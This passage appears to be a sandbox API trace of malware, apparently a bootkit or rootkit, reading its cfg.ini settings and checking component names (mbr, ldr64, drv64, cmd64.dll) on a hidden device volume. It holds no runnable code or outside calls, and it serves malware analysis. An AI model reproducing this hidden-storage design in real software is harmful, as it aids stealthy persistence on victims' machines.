[0120.966] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.966] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.966] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.966] KeEnterCriticalRegion () [0120.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.966] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.966] IdePortDispatch () returned 0x103 [0120.966] KeWaitForMutexObject () returned 0x0 [0120.966] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.966] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.966] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.966] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.966] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.966] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe950 [0120.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.966] KeLeaveCriticalRegion () [0120.966] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.966] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.966] KeEnterCriticalRegion () [0120.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.966] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.967] KeLeaveCriticalRegion () [0120.967] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.967] KeEnterCriticalRegion () [0120.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.967] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.967] IdePortDispatch () returned 0x103 [0120.967] KeWaitForMutexObject () returned 0x0 [0120.967] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.967] KeLeaveCriticalRegion () [0120.967] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.967] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.967] KeEnterCriticalRegion () [0120.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.967] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003532000 [0120.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.967] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.967] IdePortDispatch () returned 0x103 [0120.967] KeWaitForMutexObject () returned 0x0 [0120.967] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.967] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.967] IdePortDispatch () returned 0x103 [0120.968] KeWaitForMutexObject () returned 0x0 [0120.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.968] KeLeaveCriticalRegion () [0120.968] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.968] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.968] KeEnterCriticalRegion () [0120.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.968] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.968] KeLeaveCriticalRegion () [0120.968] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.968] KeEnterCriticalRegion () [0120.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.968] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.968] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.968] KeLeaveCriticalRegion () [0120.968] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.968] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.968] KeEnterCriticalRegion () [0120.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.969] ExFreePoolWithTag (P=0xfffffa8003bbe950, Tag=0x0) [0120.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.969] KeLeaveCriticalRegion () [0120.969] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.969] ReleaseMutex (hMutex=0xf0) returned 1 [0120.969] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.969] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.969] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.969] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.969] KeEnterCriticalRegion () [0120.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.969] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.969] IdePortDispatch () returned 0x103 [0120.969] KeWaitForMutexObject () returned 0x0 [0120.969] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.969] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.969] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.969] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.969] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.969] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.969] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.969] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.969] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.969] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.969] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.969] KeLeaveCriticalRegion () [0120.969] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.969] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.970] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.970] KeEnterCriticalRegion () [0120.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.970] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.970] IdePortDispatch () returned 0x103 [0120.970] KeWaitForMutexObject () returned 0x0 [0120.970] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.970] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.970] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.970] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.970] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.970] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.970] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.970] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.970] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.970] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.970] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.970] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.970] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.970] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.970] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.970] KeLeaveCriticalRegion () [0120.970] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.970] ReleaseMutex (hMutex=0x100) returned 1 [0120.970] Sleep (dwMilliseconds=0x2bf20) [0120.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b4ddef0, dwHighDateTime=0x1d24fa4)) [0120.977] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.977] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.977] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.977] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.977] KeEnterCriticalRegion () [0120.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.977] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.977] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.977] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.977] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.977] IdePortDispatch () returned 0x103 [0120.977] KeWaitForMutexObject () returned 0x0 [0120.977] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.977] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.977] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.977] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.977] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.977] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe950 [0120.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.977] KeLeaveCriticalRegion () [0120.977] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.977] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.977] KeEnterCriticalRegion () [0120.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.977] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.977] KeLeaveCriticalRegion () [0120.977] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.978] KeEnterCriticalRegion () [0120.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.978] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.978] IdePortDispatch () returned 0x103 [0120.978] KeWaitForMutexObject () returned 0x0 [0120.978] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.978] KeLeaveCriticalRegion () [0120.978] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.978] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.978] KeEnterCriticalRegion () [0120.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.978] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003535000 [0120.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.978] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.978] IdePortDispatch () returned 0x103 [0120.978] KeWaitForMutexObject () returned 0x0 [0120.978] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.978] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.978] IdePortDispatch () returned 0x103 [0120.979] KeWaitForMutexObject () returned 0x0 [0120.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.979] KeLeaveCriticalRegion () [0120.979] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.979] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.979] KeEnterCriticalRegion () [0120.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.979] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.979] KeLeaveCriticalRegion () [0120.979] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.979] KeEnterCriticalRegion () [0120.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.979] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.979] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.979] KeLeaveCriticalRegion () [0120.979] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.980] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.980] KeEnterCriticalRegion () [0120.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.980] ExFreePoolWithTag (P=0xfffffa8003bbe950, Tag=0x0) [0120.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.980] KeLeaveCriticalRegion () [0120.980] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.980] ReleaseMutex (hMutex=0xf0) returned 1 [0120.980] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.980] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.980] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.980] KeEnterCriticalRegion () [0120.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.980] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.980] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.980] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.980] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.980] IdePortDispatch () returned 0x103 [0120.980] KeWaitForMutexObject () returned 0x0 [0120.980] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.980] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.980] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.980] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.980] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.980] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd0f0 [0120.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.980] KeLeaveCriticalRegion () [0120.980] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.980] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.980] KeEnterCriticalRegion () [0120.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.980] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.980] KeLeaveCriticalRegion () [0120.980] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.980] KeEnterCriticalRegion () [0120.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.981] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.981] IdePortDispatch () returned 0x103 [0120.981] KeWaitForMutexObject () returned 0x0 [0120.981] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.981] KeLeaveCriticalRegion () [0120.981] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.981] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.981] KeEnterCriticalRegion () [0120.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.981] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003536000 [0120.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, 